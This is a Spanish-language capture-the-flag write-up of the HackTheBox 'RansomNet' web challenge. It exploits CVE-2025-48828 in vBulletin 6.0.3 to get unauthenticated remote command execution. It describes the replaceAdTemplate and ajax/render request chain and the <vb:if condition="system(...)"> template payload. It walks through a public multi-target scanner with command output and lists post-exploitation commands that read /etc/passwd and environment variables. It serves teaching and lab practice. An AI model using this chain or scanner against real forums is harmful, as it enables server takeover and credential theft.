RANSOMNET

// vBulletin 6.0.3 · CVE-2025-48828 → RCE no autenticada vía métodos protegidos de la API

● MUY FÁCIL HACKTHEBOX CHALLENGE WEB VBULLETIN 6.0.3 CVE-2025-48828 RCE NO AUTENTICADA 📅 Octubre 2026 · Por Brandeiks

El reto y el CVE

1
CONTEXTO DEL CHALLENGE

RansomNet es un challenge de categoría Web con dificultad Very Easy. Nos presenta el sitio de un supuesto sindicato de ransomware —con su mercado de servicios criminales— y el objetivo es infiltrarlo para desenmascarar a sus responsables. La página es, por dentro, un foro vBulletin 6.0.3 sin actualizar, y toda la vulnerabilidad está ahí: en la versión del CMS, no en la lógica de negocio.

// DESCRIPCIÓN OFICIAL DEL RETO

«RansomNet's shadowy corridors pulse with whispers of ransomware operations, malware distribution, and cybercriminal services—and your mission is to infiltrate its depths and unmask the syndicate's true masterminds.»

2
LA VULNERABILIDAD — CVE-2025-48828

CVE-2025-48828 es un fallo de diseño en el manejador de la API AJAX de vBulletin y en su sistema de renderizado de plantillas, presente en las versiones 5.0.0 hasta 6.0.3 (divulgado el 23 de mayo de 2025 y con PoC público). Permite a un atacante no autenticado invocar métodos protegidos de los controladores de la API, entre ellos vB_Api_Ad::replaceAdTemplate().

El detalle decisivo es la versión de PHP: el fallo se apoya en el uso indebido que hace vBulletin de la Reflection API de PHP. A partir de PHP 8.1, Reflection puede acceder siempre a métodos protegidos y privados (setAccessible() pasó a ser un no-op), de modo que el control de visibilidad en el que confiaba el CMS deja de proteger nada. Con PHP anterior a 8.1, la misma petición no llega a ejecutar el método.

// IMPACTO

Ejecución remota de comandos sin credenciales en el contexto del usuario del servidor web. En un vBulletin expuesto a Internet, esto equivale al compromiso completo del servidor: lectura de la base de datos y de sus credenciales, escritura de webshells y pivote hacia la red interna. Los dos CVEs asociados (CVE-2025-48827 y CVE-2025-48828) fueron explotados activamente en campañas reales pocos días después de su divulgación.

3
FLUJO DEL EXPLOIT

La explotación encadena dos peticiones y un artefacto almacenado en el propio foro:

PASO PETICIÓN / ARTEFACTO QUÉ OCURRE
1 POST /ajax/api/ad/replaceAdTemplate Se invoca el método protegido sin autenticación y se inyecta una plantilla maliciosa
2 <vb:if condition="system('comando')"> El código PHP del atacante queda almacenado en el sistema como plantilla de anuncio
3 POST /ajax/render/ad_<location> Se dispara la renderización de la plantilla inyectada, también sin autenticación
4 Respuesta HTTP El servidor ejecuta el comando y devuelve su salida en el cuerpo de la respuesta

// NOTA TÉCNICA

El parámetro location es el que enlaza las dos peticiones: la plantilla se guarda para una «ubicación» concreta y después se renderiza pidiendo ajax/render/ad_ más ese mismo valor. Los PoC modernos codifican el comando en base64 dentro de la condición ("system"("base64_decode"("..."))) para esquivar comillas y caracteres especiales, y usan "function"(...) en lugar de eval() porque este último es una construcción del lenguaje y no una función invocable.

Preparación del exploit

4
CLONAR EL EXPLOIT PÚBLICO

Existen varios PoC publicados para esta vulnerabilidad. Usamos el repositorio vBulletin-CVE-2025-48828-Multi-target, que incluye un escáner multi-objetivo (scanner.py) capaz de comprobar si el objetivo es vulnerable y ejecutar el comando que le indiquemos.

GIT
$ git clone https://github.com/ill-deed/vBulletin-CVE-2025-48828-Multi-target.git
5
DEPENDENCIAS DEL SCRIPT

Entramos en el directorio y instalamos la única dependencia: requests, la librería con la que el script habla por HTTP con el objetivo. El flag --break-system-packages es necesario en Kali Linux porque, desde PEP 668, los paquetes Python del sistema están protegidos frente a instalaciones de pip.

PIP
$ cd vBulletin-CVE-2025-48828-Multi-target
$ pip install requests --break-system-packages
# en Kali, PEP 668 exige este flag para instalar fuera de un venv
6
CONFIGURAR OBJETIVO Y COMANDO

El script lee los objetivos de targets.txt, así que escribimos ahí la URL de nuestra instancia del challenge. Ojo: en HackTheBox cada instancia se levanta en un host y un puerto distintos, por lo que hay que copiar los que aparezcan en el panel del reto en lugar de reutilizar los de este writeup.

TARGET
$ echo "http://154.57.164.66:31081/" > targets.txt

Después editamos scanner.py para indicar qué comando queremos ejecutar en la víctima. Las dos variables que importan son COMMAND (el comando) y EXPECTED_OUTPUT (cadena que debe aparecer en la respuesta para dar la ejecución por buena; vacía = acepta cualquier salida).

SCANNER.PY
$ nano scanner.py
# variables a revisar
COMMAND = "ls -la /" # comando a ejecutar en la víctima
EXPECTED_OUTPUT = "" # vacío = acepta cualquier salida

Explotación

7
EJECUTAR EL ESCÁNER

Con el objetivo escrito y el comando configurado, lanzamos el exploit. El script comprueba primero si la respuesta contiene la marca que inyecta (confirmación de RCE) y, si es así, vuelca la salida del comando ejecutado:

EXPLOIT
$ python3 scanner.py
[•] Testing http://154.57.164.66:31081
[+] http://154.57.164.66:31081 is VULNERABLE! Output:
total 4
drwxr-xr-x. 1 root root 50 May 2 22:35 .
drwxr-xr-x. 1 root root 50 May 2 22:35 ..
-rw-r--r--. 1 root root 29 Jul 10 2025 flag.txt

La ejecución está confirmada: el listado de la raíz del sistema aparece dentro de la respuesta HTTP. Y ahí está el objetivo de esta fase — un flag.txt de 29 bytes en /. El punto que sigue a los permisos (drwxr-xr-x.) indica que el sistema usa contextos SELinux.

8
RESULTADOS GUARDADOS EN VULN.TXT

El script va almacenando en vuln.txt cada URL vulnerable junto con la salida obtenida, lo que permite revisar hallazgos anteriores sin repetir el escaneo:

RESULTADOS
$ cat vuln.txt
http://154.57.164.66:31081 -> VULNERABLE
total 4
drwxr-xr-x. 1 root root 50 May 2 22:35 .
drwxr-xr-x. 1 root root 50 May 2 22:35 ..
-rw-r--r--. 1 root root 29 Jul 10 2025 flag.txt

Enumeración y captura de la flag

9
ENUMERACIÓN POST-EXPLOTACIÓN

El exploit no da una shell interactiva: es un one-shot. Para cada comando nuevo hay que cambiar el valor de COMMAND en scanner.py y volver a lanzar python3 scanner.py. La enumeración sigue el orden habitual: primero orientarse, y después buscar la flag.

COMANDO PROPÓSITO
whoamiUsuario en cuyo contexto se ejecuta el comando
idUID, GID y grupos del usuario
pwdDirectorio de trabajo actual
ls -la /Lista archivos y directorios de la raíz
ls -la /var/wwwContenido del servidor web
cat /etc/passwdUsuarios del sistema
uname -aInformación del kernel
envVariables de entorno del proceso web
find / -name "*.txt" 2>/dev/nullBusca archivos de texto en todo el sistema
ifconfig / ip aInterfaces de red (posible pivote)
10
LECTURA DE LA FLAG

Con el flag.txt localizado en la raíz, basta con pedir su contenido. Se cambia el comando y se relanza el escáner:

FLAG
$ nano scanner.py
COMMAND = "cat /flag.txt"
$ python3 scanner.py
[+] http://154.57.164.66:31081 is VULNERABLE! Output:
HTB{...} ← flag del reto (omitida en la versión publicada)

// FLAG DEL RETO

La flag se obtiene leyendo /flag.txt (29 bytes, visto en el listado de la raíz). En esta versión publicada el valor va censurado: es la respuesta oficial del challenge y publicarla arruina el reto a quien lo esté resolviendo. La ruta completa de explotación —CVE-2025-48828 en vBulletin 6.0.3, RCE no autenticada y lectura del archivo— queda documentada paso a paso.

// LECCIÓN

Un CMS sin actualizar convierte cualquier web en una puerta de entrada: aquí basta una petición no autenticada para ejecutar comandos como el usuario del servidor web. La mitigación pasa por actualizar vBulletin a una versión parcheada, mantener PHP al día, y añadir defensa en profundidad (WAF con reglas para ajax/api, segmentación del servidor y rotación de las credenciales de la base de datos). Los dos CVE asociados se explotaron de forma masiva en Internet días después de su publicación, así que la ventana de exposición es real y corta.


VULNERABILIDAD COMPONENTE IMPACTO
CVE-2025-48828 vBulletin 6.0.3 · ajax/api/ad/replaceAdTemplate Invocación no autenticada de métodos protegidos de la API
Inyección de plantilla Motor de plantillas <vb:if> Ejecución de PHP arbitrario desde una plantilla almacenada
RCE no autenticada ajax/render/ad_<location> Comandos arbitrarios como el usuario del servidor web
Software desactualizado vBulletin 5.0.0 – 6.0.3 Exposición a una vulnerabilidad con explotación activa en Internet

Referencia de Comandos

git clone
git clone <url-del-repositorio>
Descarga el PoC público con el escáner que automatiza la explotación de CVE-2025-48828. En pentesting conviene revisar siempre el código antes de ejecutarlo contra un objetivo.
  • --depth 1 — clona solo el último commit
  • -b <rama> — selecciona una rama concreta
pip install
pip install requests --break-system-packages
Instala la dependencia HTTP del exploit. En Kali (PEP 668) el intérprete del sistema está marcado como «externally managed», así que pip rechaza la instalación salvo que se use el flag o se trabaje dentro de un entorno virtual.
  • --break-system-packages — permite instalar en el Python del sistema
  • -r requirements.txt — instala desde un listado
  • --user — instala solo para el usuario actual
python3 scanner.py
COMMAND="<comando>" python3 scanner.py
Motor de la explotación: inyecta la plantilla en ajax/api/ad/replaceAdTemplate, la dispara con ajax/render/ad_<location> y muestra la salida del comando. Cada ejecución equivale a un comando nuevo, así que la enumeración avanza editando COMMAND.
  • COMMAND — comando a ejecutar en la víctima
  • EXPECTED_OUTPUT — cadena esperada en la respuesta (vacío = cualquiera)
  • targets.txt — listado de objetivos a probar
  • vuln.txt — salida acumulada de los objetivos vulnerables
Enumeración post-explotación
id && ls -la / && cat /etc/passwd && cat /flag.txt
Secuencia de reconocimiento tras confirmar la RCE: identidad, raíz del sistema, usuarios y lectura de la flag. Se ejecuta un comando por iteración del exploit.
  • id / whoami — contexto de ejecución del proceso web
  • ls -la / — localiza archivos interesantes en la raíz
  • find / -name "*.txt" 2>/dev/null — búsqueda recursiva silenciando errores
  • cat /flag.txt — lectura de la flag del reto
11
SECUENCIA COMPLETA
RESUMEN
# 1. clonar el exploit
$ git clone https://github.com/ill-deed/vBulletin-CVE-2025-48828-Multi-target.git
# 2. entrar en el directorio
$ cd vBulletin-CVE-2025-48828-Multi-target
# 3. instalar dependencia
$ pip install requests --break-system-packages
# 4. definir el objetivo
$ echo "http://TARGET:PUERTO/" > targets.txt
# 5. configurar COMMAND y EXPECTED_OUTPUT
$ nano scanner.py
# 6. explotar
$ python3 scanner.py
# 7. revisar resultados guardados
$ cat vuln.txt

Glosario

CVE-2025-48828 — vBulletin replaceAdTemplate RCE
CVE-2025-48828 es un fallo de diseño del manejador AJAX de vBulletin que permite a un atacante no autenticado invocar métodos protegidos de los controladores de la API, en concreto vB_Api_Ad::replaceAdTemplate(). Afecta a las versiones 5.0.0 – 6.0.3, fue divulgado el 23 de mayo de 2025 y cuenta con PoC público (autor original del hallazgo: Egidio Romano, EgiX). Su gemelo CVE-2025-48827 explota el mismo mecanismo sobre otros controladores.
vBulletin
vBulletin es uno de los CMS de foros más antiguos y extendidos (apareció en 2000). Su arquitectura separa controladores de API (vB_Api_*), capa de plantillas con su propio lenguaje (<vb:if>, <vb:each>) y una base de datos MySQL. Precisamente por su larga historia acumula numerosos CVEs críticos, y su API AJAX ha sido el vector de varios de ellos: cualquier método que la API exponga sin comprobar autenticación correctamente se convierte en una puerta abierta.
RCE no autenticada
Una RCE (Remote Code Execution) no autenticada es la ejecución de código arbitrario en el servidor sin necesidad de credenciales. Es la vulnerabilidad de mayor severidad en una aplicación web: no requiere cuenta, ni sesión, ni interacción de la víctima, solo alcanzar el endpoint vulnerable. En la práctica equivale al compromiso del servidor —lectura de ficheros, webshell, movimiento lateral— y suele puntuarse como CVSS 9.8 crítico.
PHP 8.1 y la Reflection API
La Reflection API permite inspeccionar e invocar clases, métodos y propiedades. Históricamente había que llamar a ReflectionMethod::setAccessible(true) para poder invocar un método protegido o privado; a partir de PHP 8.1 esa llamada es un no-op, porque Reflection accede siempre a esos miembros. Ese cambio de comportamiento es el que convierte el descuido de vBulletin en explotable: el código confiaba en la visibilidad del método como control de acceso, y en PHP 8.1+ esa barrera ya no existe.
Plantillas <vb:if>
El motor de plantillas de vBulletin usa etiquetas propias como <vb:if condition="...">, que se evalúan en PHP al renderizar la página. La vulnerabilidad aprovecha que la condición es código PHP: si un atacante consigue almacenar una plantilla con <vb:if condition="system('id')">, el servidor ejecutará ese comando cada vez que renderice el anuncio. Es el patrón clásico de inyección de plantilla del lado del servidor.
ajax/api y ajax/render
Son las dos rutas que encadena el exploit. ajax/api/<controlador>/<método> enruta la petición hacia un método de la API y es donde falta el control de acceso; ajax/render/ad_<location> renderiza el anuncio previamente guardado para esa ubicación y es donde se dispara el código inyectado. La variable location es el hilo que une ambas peticiones y la que permite separar la fase de inyección de la de ejecución.
PoC / exploit público
Un PoC (Proof of Concept) es el código que demuestra que una vulnerabilidad es explotable. En este reto se usa un repositorio público que incluye un escáner multi-objetivo: automatiza las dos peticiones, admite cualquier comando en la variable COMMAND y guarda los resultados en vuln.txt. Como ventaja de aprendizaje, leer el script revela exactamente qué se envía en cada petición HTTP; como riesgo, ejecutar código de terceros contra un objetivo exige revisarlo antes.
PEP 668 y --break-system-packages
PEP 668 introdujo el marcador «externally managed» para los entornos Python gestionados por el sistema operativo. Debian, Ubuntu y Kali lo aplican, por lo que pip install falla con error: externally-managed-environment. El flag --break-system-packages desactiva esa protección y permite instalar en el intérprete del sistema; la alternativa recomendada en un pentest es crear un entorno virtual con python3 -m venv.
Enumeración post-explotación
Conjunto de comandos que se ejecutan tras confirmar una RCE para entender el terreno: identidad del proceso (id, whoami), sistema operativo y kernel (uname -a), estructura de ficheros (ls -la /), usuarios (cat /etc/passwd) y variables de entorno (env), que suelen revelar credenciales de base de datos o rutas internas. Cuando el exploit es one-shot y no entrega shell, cada uno de estos comandos se ejecuta en una iteración independiente.
CVSS y explotación activa
El CVSS es el estándar para puntuar la gravedad de una vulnerabilidad según explotabilidad e impacto. Una RCE no autenticada con primitivas sencillas suele obtener 9.8 sobre 10 (crítico). En el caso de los CVE-2025-48827/48828 la puntuación se quedó corta en la práctica: se documentó explotación activa contra foros reales a los pocos días de la divulgación, con despliegue masivo de webshells y robo de credenciales.

// RELACIONADOS POR ETIQUETAS